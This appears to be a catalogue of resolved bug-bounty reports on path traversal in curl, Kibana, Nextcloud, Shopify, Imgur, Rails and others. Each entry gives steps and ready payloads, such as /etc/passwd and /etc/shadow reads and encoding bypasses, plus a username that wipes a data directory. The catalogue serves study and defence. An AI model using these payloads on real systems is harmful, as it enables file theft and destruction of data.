◆ Low
Specimen #1912777 · ibb · USD 480 · 10 votes · resolved
Program ibbSurface other
Root cause
curl's SFTP handling expands a leading '~' to the user's home dir, but the bug applies the expansion when '~' is merely a PREFIX of the first path element, so /~2/foo for user dan (home /home/dan) resolves to /home/dan2/foo instead of the intended path.
Method
- Access an SFTP URL where the first path element begins with ~ followed by more characters (e.g. /~2/foo)
- curl rewrites it against the home dir prefix, reaching an unexpected sibling directory
- Use to slip past a path allow-list/filter that assumed literal path semantics
sftp://user@host/~2/foo # for home /home/dan resolves to /home/dan2/foo
Insight — Special path prefixes (~, ., .., //, drive letters) are frequent parser-vs-filter mismatch points. When a filter validates a path string but a downstream client re-expands special prefixes, you get traversal. Test '~'-prefixed and mixed forms against SFTP/URL allow-lists.
Real-world example
Windows fix bypass: drive-relative c:.. defeats startsWith('..') (CVE-2021-22151)
◆ Low
Specimen #1353603 · elastic · awarded · 10 votes · resolved
Program elasticSurface web
Root cause
Kibana's traversal fix assumed a normalized traversal always begins with '..'; on Windows, path.normalize of a drive-relative input like c:../../../ keeps the c: prefix so it does not start with '..', bypassing the startsWith('..') guard.
Method
- Target a Windows Kibana install
- Request the fonts endpoint with a drive-relative traversal prefixed by c:
- The .pbf file is read from an attacker-chosen absolute location
http://TARGET:5601/api/maps/fonts/open_sans/c%3A..%2F..%2F..%2F..%2F..%2F..%2F..%2Fpath_traversal
Insight — Test Windows path semantics against fixes designed on Linux: a drive-letter relative prefix (c:..\) normalizes without a leading '..', so startsWith('..')/prefix-normalization checks fail. The correct fix is resolve-then-verify-inside-base.
Real-world example
Username '.' causes recursive wipe of data dir on user delete
◆ Low
Specimen #220385 · nextcloud · awarded · 8 votes · resolved
Program nextcloudSurface web
Root cause
Nextcloud creates each user's home as data/<username> without sanitizing special names. A user named '.' resolves the home to the data root itself; deleting that user recursively removes data/. -> destroys all users' files.
Method
- As an admin with user-management permission, create a user with username '.'
- Delete that user
- Deletion recurses on data/. and wipes the entire data directory
username: .
Insight — Anywhere a user/tenant-controlled identifier is concatenated into a filesystem path, test path-metacharacter names: '.', '..', '/', '~', empty, and encoded variants. The dangerous operation is often deletion/move, not read.
Real-world example
File/folder enumeration via traversal in a timezone parameter (differential errors)
◆ Low
Specimen #118688 · shopify · 500 · 7 votes · resolved
Program shopifySurface web
Root cause
A timezone parameter is used to build a filesystem path (Go time zoneinfo lookup) without sanitization; distinct error messages for 'is a directory' vs 'cannot find X in zip file' vs 'malformed' let an attacker oracle the existence of arbitrary files and directories.
Method
- Find a param that names a resource/timezone/locale/file
- Inject ../../../ sequences pointing at known paths
- Distinguish existence from the differential error strings (directory vs not-found vs malformed)
...&timezone=../../../etc/ -> "timezone (400): is a directory"
...&timezone=../../../etc/passwd -> "malformed time zone information" (exists)
...&timezone=../../../etc/passwd_err -> "cannot find ../../../etc/passwd_err in zip file" (absent)
Insight — Even without file READ, differential error messages turn a traversal sink into a filesystem oracle: map which files/dirs exist (config, secrets, source layout). Any parameter feeding a path/zoneinfo/locale lookup deserves ../ probing plus careful reading of the exact error text.
Real-world example
Arbitrary file read via file-download parameter
◆ Low
Specimen #186326 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
A document-download feature passes a user-controlled filesystem path straight to the file read (downloadfile?fileString=/path/document.pdf) with no traversal filtering, allowing ../ sequences to read arbitrary files.
Method
- Locate a download endpoint that takes a path/filename param (fileString, file, path, doc)
- Replace the value with traversal to a sensitive file
- Retrieve /etc/passwd or /etc/shadow
GET /xxx/account/downloadfile?fileString=/../../../../etc/shadow
Insight — Download/export endpoints whose parameter looks like a path (starts with / or contains an extension) are prime path-traversal sinks. Try absolute paths and ../ chains straight away.
Real-world example
NUL-byte truncation in Ruby File.fnmatch pattern matching
◆ Low
Specimen #449617 · ruby · awarded · 4 votes · resolved
Program rubySurface other
Root cause
File.fnmatch / Pathname#fnmatch treat an embedded NUL in the pattern as a silent truncation point rather than rejecting it, so a pattern like 'x\0yz' matches path 'x' - a filename check can be satisfied by input the developer believed would not match.
Method
- Locate an allow/deny check implemented with File.fnmatch(pattern, path) where the pattern (or path) is user-influenced
- Inject a NUL after the portion you want honored so the rest of the pattern is ignored
- Confirm the match returns true against the truncated prefix
File.fnmatch("x\0yz", 'x') # => true (should be false)
File.fnmatch?("abc\0", 'abc') # => true
Pathname('x').fnmatch("x\0yz") # => true
Insight — NUL-byte truncation still bites in high-level languages. Whenever a security decision runs through glob/fnmatch/path comparison, inject %00 / \0 to see if the matcher truncates and diverges from later path operations (which raise on NUL), producing a check-vs-use mismatch that bypasses allowlists.
Real-world example
curl SFTP ~ home-dir resolving discrepancy (CVE-2023-27534)
◆ Low
Specimen #1892351 · curl · none · 3 votes · resolved
Program curlSurface otherTag file-upload
Root cause
libcurl's Curl_getworkingpath converted a leading ~ in sftp paths to the remote home dir in an undocumented way, also transforming ~<something>. A component like ~a.. is not seen as parent-dir traversal by normal path checks, yet curl expands the ~ so the final remote path (/home/user/../...) escapes the intended location.
Method
- Application builds an sftp:// URL from partially attacker-controlled path input and applies its own ../ filtering
- Supply a component like ~a.. which the filter does not flag as traversal
- libcurl expands ~ to the home dir, yielding /home/user/../... and escaping
sftp://host/~a../other/file # resolves to /home/user/../other/file
Insight — Tilde handling is a hidden traversal source. When an app filters ../ before handing paths to a library, test ~, ~/, ~user, and ~x.. — the expansion happens downstream of the filter. Two components disagreeing on what a path means is the recurring bug.
Real-world example
Path traversal + differential-error oracle for filesystem enumeration
◆ Low
Specimen #149273 · expressionengine · none · 2 votes · resolved
Program expressionengineSurface web
Root cause
A 'file location' input is passed unsanitized to the filesystem, allowing absolute paths and ../ traversal; distinct error messages for existing-but-unparseable vs missing paths turn the feature into a boolean existence oracle for arbitrary files/directories.
Method
- Submit an absolute/traversal path in the file field (e.g. ///etc/)
- Note the parse error ('must have at least 3 fields...') = path exists
- Submit a nonexistent path (///strukt/) and note the different error = does not exist
- Use the two-message oracle to map the server filesystem and confirm files like /etc/passwd
File location: ///etc/ -> "You must have at least 3 fields..." (EXISTS)
File location: ///strukt/ -> "The path you submitted is not valid." (MISSING)
File location: ///etc/passwd -> exists
File location: ../../../../../../../../etc/passwd
Insight — Any file-path field is a traversal sink and, even when it won't return contents, differing error/response messages give you a blind existence oracle. Leading /// and long ../ chains bypass naive prefix checks. Map the FS by diffing responses; confirm sensitive files before claiming impact.
Real-world example
Windows backslash bypass of forward-slash-only traversal sanitizer (zenn-cli)
◆ Low
Specimen #993975 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Sanitizer stripped only '/' (slug.replace(/\//g,'')) before path.join, but on Windows path.join treats '\' as a separator, so a backslash-encoded traversal (%5c..%5c) survives sanitization and escapes the intended directory.
Method
- Identify a traversal filter that removes only forward slashes
- On a Windows target, substitute backslashes for the traversal separators
- Send %5c..%5c to read files outside the intended dir (e.g. README.md above /articles)
http://localhost:8000/_next/data/RANDOM/articles/%5c..%5cREADME.json
# fix: slug.replace(/[/\\]/g, "") // strip BOTH / and \
Insight — When a sanitizer strips '/', immediately try '\' (%5c) on Windows-hosted apps - Node's path module treats both as separators there. The dual-separator gap (/ vs \) is a recurring one-char bypass; the correct filter must strip [/\\].
Real-world example
Path traversal in token param redirects server-side fetch/route
◆ Info
Specimen #301862 · security · awarded · 41 votes · resolved
Program securitySurface webChain path traversal in token -> attacker-controlled GET path (Tag account-takeover
Root cause
A token/path parameter (invitation_token) was concatenated into a server-side path/URL without sanitization, so ../ sequences rewrote the resulting route (causing a request to an attacker-chosen path such as /test.json).
Method
- Find a param whose value is reflected into a fetched path/URL
- Inject ../ traversal to escape the intended prefix
- Observe the app requesting the traversed path
https://hackerone.com/users/confirmation?confirmation_token=z2-aaa&invitation_token=/../../test
# -> request made to https://hackerone.com/test.json
Insight — Params named *_token/return/next/path that feed into a server-side URL or route are traversal sinks: try /../../x to see if you can steer the resulting request. Even when full CSRF/SSRF isn't reachable (state param, etc.), the traversal itself signals an unsanitized path-building sink worth deeper probing.
Real-world example
Traversal filter bypass via newline (%0A) -> iframe content spoof
◆ Info
Specimen #147776 · bumble · awarded · 35 votes · resolved
Program bumbleSurface webChain Traversal filter bypass -> attacker-controlled iframe -&g
Root cause
A careers page builds an iframe src from the p parameter and blocks '..', but the blacklist check is defeated by inserting a newline between the dots (.%0A./), letting the attacker traverse the jobvite path and render arbitrary attacker-controlled content inside the trusted domain.
Method
- Note ?p= controls the iframe path under jobs.jobvite.com/badoo/
- Confirm '..' is filtered
- Inject .%0A./<attacker_jobvite_handle> to escape to another jobvite account
- Victim sees attacker-controlled application form on corp.badoo.com and submits sensitive data
https://corp.badoo.com/jobs/?jkl&p=.%0A./<jobvite_account_handle>
https://corp.badoo.com/jobs/?jkl&p=.%0A./jobvite/job/o0PBZfw9/apply
Insight — String blacklists for '..' (and other tokens) are routinely bypassed with embedded newlines/nulls/encodings (.%0A./, ..%00, ....//). When a param feeds an iframe/redirect target, filter bypass -> content spoofing/phishing on a trusted origin.
Real-world example
Flash local-with-filesystem sandbox bypass via \\.\ device path in navigateToURL
◆ Info
Specimen #150976 · ibb · awarded · 17 votes · resolved
Program ibbSurface desktop
Root cause
Flash's local-with-filesystem policy blocks file:// and \\localhost\c$ style access, but navigateToURL accepts a Win32 device-namespace path (\\.\localhost/c:\...) that the OS canonicalizes to the local filesystem, bypassing the sandbox and letting a SWF read local files/dirs (CVE-2016-4178).
Method
- Host a SWF that calls navigateToURL with a device-namespace path
- Point it at a local path via \\.\localhost/c:\... (also \\.\/C:\ or \\.\/\\.\\..\C:\)
- In IE (only browser allowing Flash local FS), the local file/directory opens, defeating local-with-filesystem
navigateToURL: \\.\localhost/c:\windows\
# iframe/custom-address variant:
link_protocol_test.swf?input=\\.\localhost/c:\windows\starter.xml
Insight — Canonicalization/alternate-path syntax (\\.\ device namespace, \\?\, UNC, 8.3 short names) routinely bypasses path/scheme allow-lists. When file:// is blocked, try the platform's device/namespace equivalents.
Real-world example
Null-byte-in-middle bypass of str_replace('..') traversal filter
◆ Info
Specimen #240886 · automattic · awarded · 15 votes · resolved
Program automatticSurface webChain filter bypass -> arbitrary file unlink/read/rename via caTag file-upload
Root cause
WP Super Cache sanitizes paths with str_replace('..','',...) after stripping some chars, but a null byte inside the dots (.%00..) prevents the literal '..' match while the filesystem still treats it as parent-dir traversal, reaching unlink/realpath sinks.
Method
- Locate a path-handling param filtered with str_replace('..','')
- Split each '..' with an embedded null byte so the literal never matches
- Traverse to the target file for the sink (unlink/read/rename)
.%00.../.%00.../path.file
# bypasses: $page = str_replace('..','', preg_replace('/[ <>\'\"\r\n\t\(\)]/','',$_POST['deletepage']));
Insight — Any traversal filter implemented as a single literal str_replace('..') is bypassable by breaking the token (null byte, ....//, ..%2f, ..%c0%af). Check whether the filter runs once vs recursively, and whether decoding happens after filtering.
Real-world example
Arbitrary file read via unsanitized id param path traversal
◆ Info
Specimen #122475 · imgur · awarded · 13 votes · resolved
Program imgurSurface webTag file-upload
Root cause
The /edit/process image endpoint used the imageid GET param as a filesystem path without sanitization, so ../ sequences traverse outside the intended directory and read arbitrary server files.
Method
- Find an endpoint that maps an id/name param to a file path (image processors, download/export handlers)
- Insert ../ sequences to climb out of the intended directory
- Read /etc/passwd or app config/secrets
http://imgur.com/edit/process?imageid=../../../../../../../../../../etc/passwd
Insight — Any 'process/edit/download by id' feature where the id becomes a file path is a traversal candidate; image-processing pipelines are especially prone because the id is expected to be a filename. Test deep ../ chains plus encoding variants.
Real-world example
LFI filter bypass via mixed forward/back-slash traversal
◆ Info
Specimen #147570 · concretecms · none · 13 votes · resolved
Program concretecmsSurface web
Root cause
A blacklist-style traversal filter checked only for ../, /.. and \.. sequences, missing mixed separators; on OSes that normalize backslash to forward slash the mixed forms still traverse.
Method
- Identify a path filter that blocks '../', '/..', '..\\'
- Substitute mixed separators the regex/strpos checks miss
- Path resolves to parent directories after normalization
../\ ..\/ /\.. \/..
Insight — When a traversal defense is a hand-rolled substring/strpos blacklist, attack the sequences it forgot - mixed slashes, trailing/leading separators, encoded forms - rather than the canonical ../.
Real-world example
LFI via framework getPathInfo trusting X-Original-URL header
◆ Info
Specimen #59665 · concretecms · none · 11 votes · resolved
Program concretecmsSurface web
Root cause
Concrete5 built the dispatch path from Symfony Request::getPathInfo(), which can be overridden by request headers (X-Original-URL and similar), so an attacker controls the internal path used for file inclusion.
Method
- Find an app that routes/includes files based on the framework path-info
- Send a request with X-Original-URL (or X-Rewrite-URL) carrying a traversal path
- Framework returns the attacker path, driving local file inclusion
GET /index.php HTTP/1.1
Host: TARGET
X-Original-URL: /../../../../etc/passwd
Insight — getPathInfo()/getPathTranslated() and rewrite headers are attacker-influenced. Any file-inclusion or routing decision keyed off them is an LFI sink even when the visible URL looks safe.
Real-world example
Rails view-resolver path traversal with backslash filter bypass
◆ Info
Specimen #3370 · rails · awarded · 8 votes · resolved
Program railsSurface web
Root cause
Rails routes with wildcard segments (get '/help/(*action)') let ActionView::FileSystemResolver render views outside the view path via ../ traversal; Rack::Protection::PathTraversal (not on by default) is bypassable with backslashes because Dir.glob treats \ as an escape (CVE-2014-0130).
Method
- Find a route with a wildcard/glob segment mapped to a controller that renders by action name
- Traverse out of the view directory to read arbitrary project files
- If Rack::Protection::PathTraversal is present, swap ../ for %5c../ (backslash) to slip past it
GET /help/../../../Gemfile # basic traversal via view resolver
GET /help/%5c../%5c../%5c../Gemfile # backslash bypass of Rack::Protection::PathTraversal
Insight — Wildcard route segments that feed a template resolver are a file-read sink. When a traversal filter blocks ../, try backslash-encoded \..\ (%5c) - glob/regex-based filters and Dir.glob escaping often disagree on backslash handling.
Real-world example
Backslash-encoded traversal as a differential file-existence oracle
◆ Info
Specimen #35823 · factlink · none · 7 votes · resolved
Program factlinkSurface web
Root cause
Encoded backslash traversal sequences (%5C../) reached the filesystem; existing files returned a different status/response than non-existent ones, letting an attacker map server files and config names.
Method
- Request an encoded-backslash traversal path to a file you expect to exist.
- Request the same path with a garbage filename.
- Compare responses; a not-found vs found difference confirms file existence and enables enumeration.
https://TARGET/%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd # found
https://TARGET/%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd_Nonexistant # 404
Insight — When plain ../ is filtered, try backslash and its encodings (%5C, %255C, ..%c0%af). Even without reading contents, a found/not-found differential is a filesystem enumeration oracle for config and backup file names.
Real-world example
Path traversal in user-controlled S3 object key reads other tenants' files
◆ Info
Specimen #94087 · shopify · 1500 · 4 votes · resolved
Program shopifySurface cloudTag cloud-aws
Root cause
The delivery app built the S3 bucket key from a user-controlled filename; the fog-aws gem performed path normalization on it, so '../' sequences in attachment[filepath] traversed to another tenant's object, and a signed download URL was then issued for that arbitrary key.
Method
- Upload an attachment in your own shop and intercept the /attachments call
- Set attachment[filepath] to b.png/../../../../files/<victim>.myshopify.com/<id>/a.png
- Generate the manual download link; it resolves (with valid signature) to the victim's file
attachment[filepath] = b.png/../../../../files/VICTIM.myshopify.com/5682196162/a.png
Insight — When an object-storage key is derived from user input, path normalization ('../') lets you traverse across tenants; the app should fully control the key via a server-side filename->key mapping. Test upload/download params for traversal into other buckets/prefixes.
Real-world example
Path traversal via overlong-UTF-8 (%c0%af) encoding bypass
◆ Info
Specimen #18371 · jsdelivr · none · 4 votes · resolved
Program jsdelivrSurface webTag supply-chain
Root cause
A file-serving endpoint filters literal ../ but decodes overlong UTF-8 sequences afterward, so %c0%af (an illegal overlong encoding of '/') reconstitutes the traversal and reaches arbitrary files like /etc/passwd.
Method
- Identify a path/file parameter that filters ../ but still serves files
- Replace slashes with overlong-UTF-8 %c0%af (and/or %c0%ae for '.')
- Walk up to a known file to confirm
http://TARGET//..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd
Insight — When plain ../ is filtered, try encoding bypasses: %2e%2e%2f, double-encoding %252e%252e%252f, and overlong UTF-8 %c0%ae/%c0%af. Overlong sequences bypass filters that normalize only well-formed encodings but are still decoded by permissive parsers.